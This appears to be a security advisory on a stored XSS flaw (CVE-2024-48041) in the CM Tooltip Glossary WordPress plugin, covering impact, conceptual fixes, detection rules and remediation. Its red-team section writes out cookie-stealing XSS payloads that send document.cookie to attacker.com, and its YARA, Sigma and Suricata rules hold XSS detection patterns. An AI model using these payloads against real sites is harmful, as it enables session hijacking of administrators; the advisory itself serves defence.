CVE-2024-48041

Executive Summary

CVE-2024-48041 is a Stored Cross-Site Scripting (XSS) vulnerability in the CM Tooltip Glossary WordPress plugin (versions <= 4.3.9), developed by CreativeMindsSolutions. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into glossary entries. When an administrator or other user views the affected page, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor and consider disabling the plugin until a patch is available. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker needs contributor-level access or higher.
• User Interaction: Required (UI:R) – The victim must view the malicious glossary entry.
• Scope: Changed (S:C) – The injected script can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited modification of content possible.
• Availability Impact: Low (A:L) – Minor disruption possible.

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the potential for stored XSS in a widely-used plugin warrants attention.

Deep Dive & Mechanics

The vulnerability resides in the enhanced-tooltipglossary component of the CM Tooltip Glossary plugin. The plugin allows users to create glossary entries with custom tooltips. When a user with contributor-level privileges or higher creates or edits a glossary entry, the plugin fails to properly sanitize or escape user-supplied input before storing it in the database. Specifically, fields such as the glossary term, description, or tooltip content are not neutralized for HTML/JavaScript.

When an administrator or other user views a page containing the malicious glossary entry (e.g., via a post, page, or widget), the stored JavaScript executes in their browser context. This is a classic Stored XSS (CWE-79) scenario.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new glossary entry containing a malicious payload, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the WordPress database without sanitization.
4. An administrator visits a page that displays the glossary entry (e.g., the glossary list or a post with the tooltip).
5. The browser renders the malicious script, executing it in the administrator's session.

Vulnerable vs. Patched Code

Since no official patch is available, a comparison is based on expected secure coding practices.

Vulnerable Code (Conceptual):

// In a plugin file, e.g., cm-tooltip-glossary.php
function save_glossary_entry($data) {
    global $wpdb;
    $term = $data['term']; // No sanitization
    $description = $data['description']; // No sanitization
    $wpdb->insert($wpdb->prefix . 'glossary', array(
        'term' => $term,
        'description' => $description
    ));
}

Patched Code (Expected):

function save_glossary_entry($data) {
    global $wpdb;
    $term = sanitize_text_field($data['term']); // Sanitize text
    $description = wp_kses_post($data['description']); // Allow only safe HTML
    $wpdb->insert($wpdb->prefix . 'glossary', array(
        'term' => $term,
        'description' => $description
    ));
}

The patched version uses WordPress built-in functions like sanitize_text_field() and wp_kses_post() to strip or escape malicious content before storage.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with CM Tooltip Glossary plugin <= 4.3.9.
• Contributor-level account or higher.

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Glossary > Add New.
3. In the Term field, enter a benign term (e.g., "Test").
4. In the Description field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish the glossary entry.
6. Craft a link or wait for an administrator to view the glossary page (e.g., /glossary/).
7. The administrator's browser executes the script, sending their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Detection & Prevention)

Detection:

• Monitor for glossary entries containing <script>, onerror, onload, or other event handlers.
• Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to glossary endpoints.
• Review server logs for unusual outbound connections from WordPress admin sessions.

Prevention:

• Disable the plugin until a patch is released.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use WordPress security plugins (e.g., Wordfence) to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to unknown or suspicious domains from WordPress admin IPs.
  • POST requests to /wp-admin/admin-ajax.php or glossary endpoints with script-like payloads.

• Host IOCs:

  • Glossary entries in the database containing <script> tags or event handlers.
  • Modified files in /wp-content/plugins/enhanced-tooltipglossary/ (if attacker uploads malicious files).

• Log IOCs:

  • WordPress debug logs showing PHP warnings related to unsanitized input.
  • Web server access logs with requests to /glossary/ or glossary admin pages from contributor accounts.

Detection Engineering

YARA Rule

rule CVE_2024_48041_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in CM Tooltip Glossary plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-48041"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in CM Tooltip Glossary Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS payloads in glossary entries
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: 'POST'
        http.url: '*/wp-admin/admin-ajax.php*'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in glossary entries (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-48041 Stored XSS Payload Detected"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and remove enhanced-tooltipglossary until a patch is released.
2. Audit existing glossary entries – Search the database for malicious content using SQL queries like:

   SELECT * FROM wp_posts WHERE post_type = 'glossary' AND post_content LIKE '%<script%';
   

3. Reset compromised accounts – If any administrator accounts were affected, force password resets and revoke session tokens.

Long-term Mitigation:

• Monitor the plugin's official page for updates.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce least privilege for WordPress user roles.
• Regularly backup the database and files.

Vendor Contact: CreativeMindsSolutions – No patch available as of this report.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst